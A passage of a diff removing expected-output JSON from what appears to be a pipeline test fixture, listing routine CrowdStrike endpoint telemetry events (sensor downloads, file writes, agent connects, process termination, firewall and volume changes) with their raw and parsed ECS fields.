-                "CompletionEventId": "Event_KmaExtDownloadCompleteLinV1",
-                "ConfigStateHash": "1333055909",
-                "DownloadPort": 443,
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8dee-0201f64cca29",
-                "name": "LFODownloadConfirmationLinV1"
-            },
-            "device": {
-                "id": "ffffffff88b948c6abeeee910f6d8c33"
-            },
-            "event": {
-                "action": "LFODownloadConfirmation",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:02:45.906Z",
-                "id": "ffffffff-1111-11eb-8dee-0201f64cca29|ffffffff88b948c6abeeee910f6d8c33|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"LFODownloadConfirmation\",\"ConfigStateHash\":\"1333055909\",\"aip\":\"67.43.156.14\",\"DownloadServer\":\"lfodown01-b.cloudsink.net\",\"DownloadPath\":\"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53\",\"DownloadPort\":\"443\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"name\":\"LFODownloadConfirmationLinV1\",\"CompletionEventId\":\"Event_KmaExtDownloadCompleteLinV1\",\"id\":\"ffffffff-1111-11eb-8dee-0201f64cca29\",\"aid\":\"ffffffff88b948c6abeeee910f6d8c33\",\"timestamp\":\"1625677365906\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"KernelModuleArchiveExt11611\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "path": "KernelModuleArchiveExt11611",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff88b948c6abeeee910f6d8c33",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "LFODownloadConfirmation",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff88b948c6abeeee910f6d8c33",
-                "version": "1007.8.0011611.1"
-            },
-            "related": {
-                "hash": [
-                    "1333055909"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "server": {
-                "address": "lfodown01-b.cloudsink.net",
-                "domain": "lfodown01-b.cloudsink.net",
-                "registered_domain": "cloudsink.net",
-                "subdomain": "lfodown01-b",
-                "top_level_domain": "net"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "url": {
-                "domain": "lfodown01-b.cloudsink.net",
-                "original": "https://lfodown01-b.cloudsink.net/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53",
-                "path": "/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53",
-                "registered_domain": "cloudsink.net",
-                "scheme": "https",
-                "subdomain": "lfodown01-b",
-                "top_level_domain": "net"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:02:33.895Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "365049009681176519",
-                "ContextTimeStamp": "2021-07-07T17:02:33.633Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9497-028a0bfcf603",
-                "name": "TarFileWrittenMacV1"
-            },
-            "device": {
-                "id": "ffffffffe6244708bd09a6c111f63f4a"
-            },
-            "event": {
-                "action": "TarFileWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:02:33.895Z",
-                "id": "ffffffff-1111-11eb-9497-028a0bfcf603|ffffffffe6244708bd09a6c111f63f4a|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"TarFileWritten\",\"ContextTimeStamp\":\"1625677353.633\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365049009681176519\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"050000010000000000000000000000005749420100000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"TarFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-9497-028a0bfcf603\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffe6244708bd09a6c111f63f4a\",\"timestamp\":\"1625677353895\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache",
-                "extension": "gem",
-                "inode": "050000010000000000000000000000005749420100000000",
-                "name": "database_cleaner-1.8.5.gem",
-                "path": "/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffffe6244708bd09a6c111f63f4a",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "TarFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffe6244708bd09a6c111f63f4a",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "365049009681176519",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:02:30.466Z",
-            "crowdstrike": {
-                "ConfigIDBase": "65994753",
-                "ConfigIDBuild": "13701",
-                "ConfigIDPlatform": "4",
-                "ConfigStateHash": "3967242894",
-                "ConfigurationVersion": "10",
-                "ConnectTime": "2021-07-07T17:02:30.208Z",
-                "ConnectType": "1",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "FailedConnectCount": 404,
-                "NetworkContainmentState": "0",
-                "PreviousConnectTime": "2021-07-07T16:06:03.331Z",
-                "ProvisionState": "0",
-                "VerifiedCertificate": "7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-ba54-02a3616f6acd",
-                "name": "AgentConnectMacV5"
-            },
-            "device": {
-                "id": "ffffffff2977460db2898ece881a9358"
-            },
-            "event": {
-                "action": "AgentConnect",
-                "category": [
-                    "network",
-                    "session"
-                ],
-                "created": "2021-07-07T17:02:30.466Z",
-                "id": "ffffffff-1111-11eb-ba54-02a3616f6acd|ffffffff2977460db2898ece881a9358|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"AgentConnect\",\"ConfigStateHash\":\"3967242894\",\"NetworkContainmentState\":\"0\",\"VerifiedCertificate\":\"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"FailedConnectCount\":\"404\",\"ConnectType\":\"1\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"ConfigurationVersion\":\"10\",\"Entitlements\":\"15\",\"name\":\"AgentConnectMacV5\",\"ConfigIDPlatform\":\"4\",\"PreviousConnectTime\":\"1625673963.331\",\"id\":\"ffffffff-1111-11eb-ba54-02a3616f6acd\",\"ConfigIDBuild\":\"13701\",\"ConnectTime\":\"1625677350.208\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff2977460db2898ece881a9358\",\"ProvisionState\":\"0\",\"timestamp\":\"1625677350466\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "connection",
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ffffffff2977460db2898ece881a9358",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "AgentConnect",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff2977460db2898ece881a9358",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3967242894"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:25.235Z",
-            "crowdstrike": {
-                "CompletionEventId": "Event_ChannelDataDownloadCompleteMacV1",
-                "ConfigStateHash": "3090255842",
-                "DownloadPort": 443,
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8b09-069ee8920171",
-                "name": "LFODownloadConfirmationMacV1"
-            },
-            "device": {
-                "id": "ffffffff5e8b4724aa10088c4f71cd9a"
-            },
-            "event": {
-                "action": "LFODownloadConfirmation",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:05:25.235Z",
-                "id": "ffffffff-1111-11eb-8b09-069ee8920171|ffffffff5e8b4724aa10088c4f71cd9a|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"LFODownloadConfirmation\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"DownloadServer\":\"lfodown01-b.cloudsink.net\",\"DownloadPath\":\"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys\",\"DownloadPort\":\"443\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"LFODownloadConfirmationMacV1\",\"CompletionEventId\":\"Event_ChannelDataDownloadCompleteMacV1\",\"id\":\"ffffffff-1111-11eb-8b09-069ee8920171\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffff5e8b4724aa10088c4f71cd9a\",\"timestamp\":\"1625677525235\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"C-00000503-00000000-00000001.sys\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "path": "C-00000503-00000000-00000001.sys",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff5e8b4724aa10088c4f71cd9a",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "LFODownloadConfirmation",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff5e8b4724aa10088c4f71cd9a",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "server": {
-                "address": "lfodown01-b.cloudsink.net",
-                "domain": "lfodown01-b.cloudsink.net",
-                "registered_domain": "cloudsink.net",
-                "subdomain": "lfodown01-b",
-                "top_level_domain": "net"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "url": {
-                "domain": "lfodown01-b.cloudsink.net",
-                "extension": "sys",
-                "original": "https://lfodown01-b.cloudsink.net/metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys",
-                "path": "/metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys",
-                "registered_domain": "cloudsink.net",
-                "scheme": "https",
-                "subdomain": "lfodown01-b",
-                "top_level_domain": "net"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:42.403Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "ContextProcessId": "364936256754041721",
-                "ContextTimeStamp": "2021-07-07T17:04:42.148Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "VnodeModificationType": "6",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9e50-064be6e56df7",
-                "name": "AsepFileChangeMacV1"
-            },
-            "device": {
-                "id": "fffffffff1a64286a233d09974b1b377"
-            },
-            "event": {
-                "action": "AsepFileChange",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:04:42.403Z",
-                "id": "ffffffff-1111-11eb-9e50-064be6e56df7|fffffffff1a64286a233d09974b1b377|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"AsepFileChange\",\"ContextTimeStamp\":\"1625677482.148\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"364936256754041721\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"AsepFileChangeMacV1\",\"id\":\"ffffffff-1111-11eb-9e50-064be6e56df7\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"fffffffff1a64286a233d09974b1b377\",\"timestamp\":\"1625677482403\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs\",\"VnodeModificationType\":\"6\"}",
-                "outcome": "success",
-                "type": [
-                    "creation",
-                    "change"
-                ]
-            },
-            "file": {
-                "directory": "/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS",
-                "name": "SystemPrefs",
-                "path": "/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs",
-                "type": "file"
-            },
-            "host": {
-                "id": "fffffffff1a64286a233d09974b1b377",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "AsepFileChange",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "fffffffff1a64286a233d09974b1b377",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364936256754041721",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:11.067Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1284133626",
-                "ContextProcessId": "130732827553316",
-                "ContextTimeStamp": "2021-07-07T17:05:10.959Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-97d0-02b2813216eb",
-                "name": "TerminateProcessLinV2"
-            },
-            "device": {
-                "id": "ffffffffdd094539a02b394c69a70aaf"
-            },
-            "event": {
-                "action": "TerminateProcess",
-                "category": [
-                    "process"
-                ],
-                "created": "2021-07-07T17:05:11.067Z",
-                "id": "ffffffff-1111-11eb-97d0-02b2813216eb|ffffffffdd094539a02b394c69a70aaf|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"TerminateProcess\",\"RawProcessId\":\"76482\",\"ContextTimeStamp\":\"1625677510.959\",\"ConfigStateHash\":\"1284133626\",\"ContextProcessId\":\"130732827553316\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0010912.1\",\"event_platform\":\"Lin\",\"TargetProcessId\":\"130732827553316\",\"Entitlements\":\"15\",\"name\":\"TerminateProcessLinV2\",\"id\":\"ffffffff-1111-11eb-97d0-02b2813216eb\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffdd094539a02b394c69a70aaf\",\"timestamp\":\"1625677511067\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "id": "ffffffffdd094539a02b394c69a70aaf",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "TerminateProcess",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffdd094539a02b394c69a70aaf",
-                "version": "1007.8.0010912.1"
-            },
-            "process": {
-                "entity_id": "130732827553316",
-                "pid": 76482,
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "1284133626"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:02:52.544Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-a9e6-067d21325a03",
-                "name": "FirewallEnabledMacV1"
-            },
-            "device": {
-                "id": "ffffffff70cf4070af024397f25007c7"
-            },
-            "event": {
-                "action": "FirewallEnabled",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2021-07-07T17:02:52.544Z",
-                "id": "ffffffff-1111-11eb-a9e6-067d21325a03|ffffffff70cf4070af024397f25007c7|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.4.0013701.1\",\"event_simpleName\":\"FirewallEnabled\",\"event_platform\":\"Mac\",\"ConfigStateHash\":\"3090255842\",\"Entitlements\":\"15\",\"name\":\"FirewallEnabledMacV1\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-a9e6-067d21325a03\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff70cf4070af024397f25007c7\",\"timestamp\":\"1625677372544\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff70cf4070af024397f25007c7",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "FirewallEnabled",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff70cf4070af024397f25007c7",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:02:14.451Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextTimeStamp": "2021-07-07T17:02:12.283Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "VolumeIsNetwork": "0",
-                "VolumeMediaBSDName": "disk2s2",
-                "VolumeMountPoint": "/private/tmp/KSInstallAction.dn6J5Xa1M4/m",
-                "VolumeName": "Install Google Drive",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8fd9-06866dcbd3d5",
-                "name": "FsVolumeUnmountedMacV1"
-            },
-            "device": {
-                "id": "ffffffffed984e248973f3ada1eb543d"
-            },
-            "event": {
-                "action": "FsVolumeUnmounted",
-                "category": [
-                    "host"
-                ],
-                "created": "2021-07-07T17:02:14.451Z",
-                "id": "ffffffff-1111-11eb-8fd9-06866dcbd3d5|ffffffffed984e248973f3ada1eb543d|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"FsVolumeUnmounted\",\"VolumeName\":\"Install Google Drive\",\"ContextTimeStamp\":\"1625677332.283\",\"ConfigStateHash\":\"3090255842\",\"aip\":\"67.43.156.14\",\"VolumeMediaBSDName\":\"disk2s2\",\"VolumeMountPoint\":\"/private/tmp/KSInstallAction.dn6J5Xa1M4/m\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"FsVolumeUnmountedMacV1\",\"id\":\"ffffffff-1111-11eb-8fd9-06866dcbd3d5\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffed984e248973f3ada1eb543d\",\"timestamp\":\"1625677334451\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"VolumeIsNetwork\":\"0\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffffed984e248973f3ada1eb543d",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "FsVolumeUnmounted",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffed984e248973f3ada1eb543d",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:34.879Z",
-            "crowdstrike": {
-                "ConfigStateHash": "2300098580",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "328911864662804336",
-                "ContextTimeStamp": "2021-07-07T17:04:34.525Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "0.0.0.0"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-88fd-06a17d0fdc05",
-                "name": "NetworkListenIP4LinV5"
-            },
-            "destination": {
-                "address": "0.0.0.0",
-                "ip": "0.0.0.0",
-                "port": 0
-            },
-            "device": {
-                "id": "ffffffff2a0d484da8f7a9cf8bde7164"
-            },
-            "event": {
-                "action": "NetworkListenIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:04:34.879Z",
-                "id": "ffffffff-1111-11eb-88fd-06a17d0fdc05|ffffffff2a0d484da8f7a9cf8bde7164|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkListenIP4\",\"ContextTimeStamp\":\"1625677474.525\",\"ConfigStateHash\":\"2300098580\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"328911864662804336\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"23165\",\"Entitlements\":\"15\",\"name\":\"NetworkListenIP4LinV5\",\"id\":\"ffffffff-1111-11eb-88fd-06a17d0fdc05\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff2a0d484da8f7a9cf8bde7164\",\"RemoteAddressIP4\":\"0.0.0.0\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677474879\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffff2a0d484da8f7a9cf8bde7164",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "NetworkListenIP4",
-            "network": {
-                "direction": "unknown",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff2a0d484da8f7a9cf8bde7164",
-                "version": "1007.8.0011308.1"
-            },
-            "process": {
-                "entity_id": "328911864662804336"
-            },
-            "related": {
-                "hash": [
-                    "2300098580"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "0.0.0.0"
-                ]
-            },
-            "source": {
-                "address": "0.0.0.0",
-                "ip": "0.0.0.0",
-                "port": 23165
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:27.114Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "ContextProcessId": "363122200934575406",
-                "ContextTimeStamp": "2021-07-07T17:05:26.828Z",
-                "ELFSubType": "4",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "SHA256HashData": "35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-985c-02152dd35bc1",
-                "name": "ELFFileWrittenMacV1"
-            },
-            "device": {
-                "id": "ffffffff28414c2293e35c360213e723"
-            },
-            "event": {
-                "action": "ELFFileWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:05:27.114Z",
-                "id": "ffffffff-1111-11eb-985c-02152dd35bc1|ffffffff28414c2293e35c360213e723|ffffffff15754bcfb5f9152ec7ac90ac",
-                "original": "{\"event_simpleName\":\"ELFFileWritten\",\"ContextTimeStamp\":\"1625677526.828\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"363122200934575406\",\"Size\":\"38798952\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027\",\"FileIdentifier\":\"040000010000000000000000000000006793f80200000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ELFFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-985c-02152dd35bc1\",\"ELFSubType\":\"4\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff28414c2293e35c360213e723\",\"timestamp\":\"1625677527114\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe\"}"
-            },
-            "file": {
-                "directory": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64",
-                "extension": "nexe",
-                "hash": {
-                    "sha256": "35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027"
-                },
-                "inode": "040000010000000000000000000000006793f80200000000",
-                "name": "zoom_x86_64.nexe",
-                "path": "/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe",
-                "size": 38798952,
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff28414c2293e35c360213e723",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "ELFFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff28414c2293e35c360213e723",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "363122200934575406",
-                "thread": {
-                    "id": 0
-                }
